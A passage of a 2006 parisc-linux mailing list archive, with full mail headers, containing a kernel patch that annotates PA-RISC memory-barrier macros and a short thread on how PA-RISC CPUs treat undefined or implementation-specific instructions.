AKuHPd/PUKGXNcNp9yiAdClM/UvvkuvgyjL5JNhk/OUdM/6rI8/fVT3gnpZ+DSEc
3oSvP7en8QOXBO0fbmtLqwQnusLLiWjCcuOb9BssH9OvEuDvQY5cmV+jUIGkefyy
oEVgr3Qpv40XAlcyqXu7oYZiuzYDkADeB8h4P/u3Fuhb3ePOJpel/9E+z1/lPKPj
GR2V13CHQXQOJZHLK2S45PeLYMZDN3Yxh+ahIGIdT6wy4vfErRbxp6G7Tmo53+oX
thJ0L6lmZMXfOFTX5HNOISvJnX39wIKNMBK3mc09qEskcSRopFEx82I6UbGZXzCi
T+IyKwRBaYL52/muj/AVnN0hLD37f97QS4fxvZgrLYkC5NDXlKqNkPQzlI2fn8Bc
boRQ7x8J5sn9hhBoB27J8GDZXaUZE5lR+mXIUQAWALlWMtHD+XYXVhjmnzY3WkjV
Je4kqd46DyGt/uVjqvEBCFZOjPMxr8601L2IQVWxNilxpW7FFnpSVqmI8CuepUSb
xP2Ly8fww3c=
=j2q/
-----END PGP SIGNATURE-----

--nextPart1993912.nTLlEV5XPA--

--===============1181580365==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1181580365==--



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Just A suggestion to highlight mb() and
	cpu_relax() in s files?
Date: Fri, 25 Aug 2006 14:39:08 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <J4K0H8$704B2688EDEDE27EBD0E625D0652B863@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1156509548.2A.707118.42.27770.52.42.007.1964481327"
X-Trace: ger.gmane.org 1416624157 20712 80.91.229.3 (22 Nov 2014 02:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:37 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 matthew <matthew@wil.cx>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2006 12:39:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 25 Aug 2006 14:39:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64EBC7D794;
	Fri, 25 Aug 2006 06:39:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28247-08; Fri, 25 Aug 2006 06:39:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F95B7D795;
	Fri, 25 Aug 2006 06:39:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 646977D78A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 06:39:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27301-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 06:39:28 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id C1C707D76F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 06:39:27 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k7PCd8M25409; 
	Fri, 25 Aug 2006 14:39:08 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tdjdcFYSf2I/GoicY2xoViVwdWxlc5Yp
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23904

--_=__=_XaM3_.1156509548.2A.707118.42.27770.52.42.007.1964481327
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

> On Thu, Aug 24, 2006 at 09:47:21AM -0600, Matthew Wilcox wrote:
> > I like the idea.  How about using the function name instead, though?
> > 
> > +#define __mb(s)           __asm__ __volatile__(s "()":::"memory") /*=

barrier() */
> > +#define mb()	__mb("mb")
> > +#define rmb()          __mb("rmb")
> > +#define wmb()          __mb("wmb")
> > +#define smp_mb()       __mb("smp_mb")
> 
> I liek it.
> 
--- include/asm-parisc/system.h.Orig    2006-08-24 08:43:12.000000000 +02=
00
+++ include/asm-parisc/system.h 2006-08-25 12:05:51.000000000 +0200
@@ -141,12 +141,13 @@
 ** The __asm__ op below simple prevents gcc/ld from reordering
 ** instructions across the mb() "call".
 */
-#define mb()           __asm__ __volatile__("":::"memory")     /* barrie=
r() */
-#define rmb()          mb()
-#define wmb()          mb()
-#define smp_mb()       mb()
-#define smp_rmb()      mb()
-#define smp_wmb()      mb()
+#define __mb(s)                __asm__ __volatile__("# " s "()":::"memor=
y") 
  /* barrier() */
+#define mb()           __mb("mb")
+#define rmb()          __mb("rmb")
+#define wmb()          __mb("wmb")
+#define smp_mb()       __mb("smp_mb")
+#define smp_rmb()      __mb("smp_rmb")
+#define smp_wmb()      __mb("smp_wmb")
 #define smp_read_barrier_depends()     do { } while(0)
 #define read_barrier_depends()         do { } while(0)

--- include/asm-parisc/processor.h.Orig 2006-08-24 08:47:36.000000000 +02=
00
+++ include/asm-parisc/processor.h      2006-08-25 11:07:28.000000000 +02=
00
@@ -330,7 +330,7 @@
 #define KSTK_EIP(tsk)  ((tsk)->thread.regs.iaoq[0])
 #define KSTK_ESP(tsk)  ((tsk)->thread.regs.gr[30])

-#define cpu_relax()    barrier()
+#define cpu_relax()    __mb("cpu_relax")

 #endif /* __ASSEMBLY__ */

=3D=3D=3D=3D <> =3D=3D=3D=3D

(also attached in case of bad wraping ;-)

Cheers,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be
--_=__=_XaM3_.1156509548.2A.707118.42.27770.52.42.007.1964481327
Content-Type: text/plain;
	name="=?iso-8859-1?Q?MbComment.txt?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?MbComment.txt?="

--- include/asm-parisc/system.h.Orig	2006-08-24 08:43:12.000000000 +0200=0A=
+++ include/asm-parisc/system.h	2006-08-25 12:05:51.000000000 +0200=0A@@ =
-141,12 +141,13 @@=0A ** The __asm__ op below simple prevents gcc/ld from=
 reordering=0A ** instructions across the mb() "call".=0A */=0A-#define m=
b()		__asm__ __volatile__("":::"memory")	/* barrier() */=0A-#define rmb()=
		mb()=0A-#define wmb()		mb()=0A-#define smp_mb()	mb()=0A-#define smp_rmb=
()	mb()=0A-#define smp_wmb()	mb()=0A+#define __mb(s)		__asm__ __volatile_=
_("# " s "()":::"memory")	/* barrier() */=0A+#define mb()		__mb("mb")=0A+=
#define rmb()		__mb("rmb")=0A+#define wmb()		__mb("wmb")=0A+#define smp_m=
b()	__mb("smp_mb")=0A+#define smp_rmb()	__mb("smp_rmb")=0A+#define smp_wm=
b()	__mb("smp_wmb")=0A #define smp_read_barrier_depends()	do { } while(0)=
=0A #define read_barrier_depends()		do { } while(0)=0A =0A--- include/asm=
-parisc/processor.h.Orig	2006-08-24 08:47:36.000000000 +0200=0A+++ includ=
e/asm-parisc/processor.h	2006-08-25 11:07:28.000000000 +0200=0A@@ -330,7 =
+330,7 @@=0A #define KSTK_EIP(tsk)	((tsk)->thread.regs.iaoq[0])=0A #defin=
e KSTK_ESP(tsk)	((tsk)->thread.regs.gr[30])=0A =0A-#define cpu_relax()	ba=
rrier()=0A+#define cpu_relax()	__mb("cpu_relax")=0A =0A #endif /* __ASSEM=
BLY__ */=0A =0A
--_=__=_XaM3_.1156509548.2A.707118.42.27770.52.42.007.1964481327
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1156509548.2A.707118.42.27770.52.42.007.1964481327--



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] update mman.h in latest glibc cvs
Date: Fri, 25 Aug 2006 10:22:33 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20060825162233.GC13235@colo.lackof.org>
References: <200608250050.34940.vapier@gentoo.org>
	<200608250928.14815.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624157 20715 80.91.229.3 (22 Nov 2014 02:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2006 16:22:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 25 Aug 2006 18:22:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0F637D786;
	Fri, 25 Aug 2006 10:22:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31623-10; Fri, 25 Aug 2006 10:22:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 113907D778;
	Fri, 25 Aug 2006 10:22:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 334487D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 10:22:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32707-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 10:22:35 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 059117D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 10:22:35 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 5EEBE3680DB;
	Fri, 25 Aug 2006 10:22:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15605-09; Fri, 25 Aug 2006 10:22:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0AB7A36801D; Fri, 25 Aug 2006 10:22:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200608250928.14815.mszick@morethan.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uU+ELF01TlIvULeQeGhrTUdGU2poZVm9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23905

On Fri, Aug 25, 2006 at 09:28:14AM -0500, Michael S. Zick wrote:
> Those are the pages which would need the 'o' bit set
> for the newest processors.

Michael,
Please read:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-February/019183.html
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-August/034461.html

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How hp implemented 'undefined instruction'?
Date: Sat, 26 Aug 2006 13:05:55 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <44F04733.1050305@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624157 20718 80.91.229.3 (22 Nov 2014 02:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:37 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2006 13:06:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 26 Aug 2006 15:06:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E67A67D7A7;
	Sat, 26 Aug 2006 07:06:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16110-03; Sat, 26 Aug 2006 07:06:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11B137D7AD;
	Sat, 26 Aug 2006 07:06:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEE1E7D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 07:06:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15696-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 07:06:04 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 1A0ED7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 07:06:03 -0600 (MDT)
Original-Received: from (ip-213-49-81-182.dsl.scarlet.be [213.49.81.182])
	by weequay.is.scarlet.be  with ESMTP id k7QD61b06347;
	Sat, 26 Aug 2006 15:06:01 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060809 Debian/1.7.13-0.3
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cHHDcHEoTXs9XKyRbmQ5ltJKRzdyMkMs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23906

Hello all,

In cpu books (parisc2.0.pdf or pa11_acd.pdf), in some well defined conditions, an insn can be an 'undefined instruction'.

Those books said about this:
--- snip ---
Within each major opcode, there may be undefined opcode extensions and
modifiers (these are undefined instructions). Interpretation of these opcodes
is left to the implementor, but system integrity is not compromised.
An undefined instruction, or sequence of undefined instructions, executed at a
given privilege level has no effect on system state other than what would have
been produced by a sequence of defined instructions running at the same
privilege level. This limits the possible side-effects that could
result from undefined instructions.

Undefined operations are equivalently specified. These result from normally
defined instructions but with operands or specifiers that are explicitly
disallowed.
--- snip ---

In "Interpretation of these opcodes is left to the implementor", I understand HP's integration of those cpu n their system?

But the text make me thought they aren't trap?

Does system behave like it's some kind of nop?

TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How hp implemented 'undefined instruction'?
Date: Sat, 26 Aug 2006 11:21:43 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20060826152143.GM1455@athena.road.mcmartin.ca>
References: <44F04733.1050305@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624158 20720 80.91.229.3 (22 Nov 2014 02:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:38 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2006 15:22:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 26 Aug 2006 17:22:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0A047D7A4;
	Sat, 26 Aug 2006 09:22:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17857-07; Sat, 26 Aug 2006 09:22:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F8D17D7B1;
	Sat, 26 Aug 2006 09:22:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 939DE7D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 09:22:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17866-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 09:22:50 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4CF5E7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 09:22:50 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3B1BB5840F2;
	Sat, 26 Aug 2006 11:22:49 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id AE82A5840ED;
	Sat, 26 Aug 2006 11:22:48 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6109323E02;
	Sat, 26 Aug 2006 11:22:48 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 7CBB03B06A; Sat, 26 Aug 2006 11:21:43 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <44F04733.1050305@scarlet.be>
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BCO6A1sHa2A7W7vDOHQySmAyOWhhasej
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23907

On Sat, Aug 26, 2006 at 01:05:55PM +0000, Joel Soete wrote:
> Within each major opcode, there may be undefined opcode extensions and
> modifiers (these are undefined instructions). Interpretation of these 
> opcodes
> is left to the implementor, but system integrity is not compromised.
> An undefined instruction, or sequence of undefined instructions, executed 
> at a
> given privilege level has no effect on system state other than what would 
> have
> been produced by a sequence of defined instructions running at the same
> privilege level. This limits the possible side-effects that could
> result from undefined instructions.
> 
> Undefined operations are equivalently specified. These result from normally
> defined instructions but with operands or specifiers that are explicitly
> disallowed.
> --- snip ---

I believe what they mean here is "Implementation-specific" opcodes. If you
look in the PCXL2 ERS, there are unarchitected additions to the instruction
set.

I hand crafted a binary using some of these extended insns, and they didn't
cause a SIGILL on a PA8500 (vastly different from PCXL2...) I believe the
insn in question was a little endian LDW.

However, if you craft an insn outside of the defined major opcodes, you
definitely will get a SIGILL trap.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: update mman.h in latest glibc cvs
Date: Sat, 26 Aug 2006 17:44:06 -0400
Organization: wh0rd.org
Lines: 76
Approved: news@gmane.org
Message-ID: <200608261744.07651.vapier@gentoo.org>
References: <200608250050.34940.vapier@gentoo.org>
	<200608260059.00980.vapier@gentoo.org>
	<119aab440608260809v26134ee2w46e5166168607a5f@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1945002868=="
X-Trace: ger.gmane.org 1416624158 20724 80.91.229.3 (22 Nov 2014 02:42:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:38 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2006 21:42:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 26 Aug 2006 23:42:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
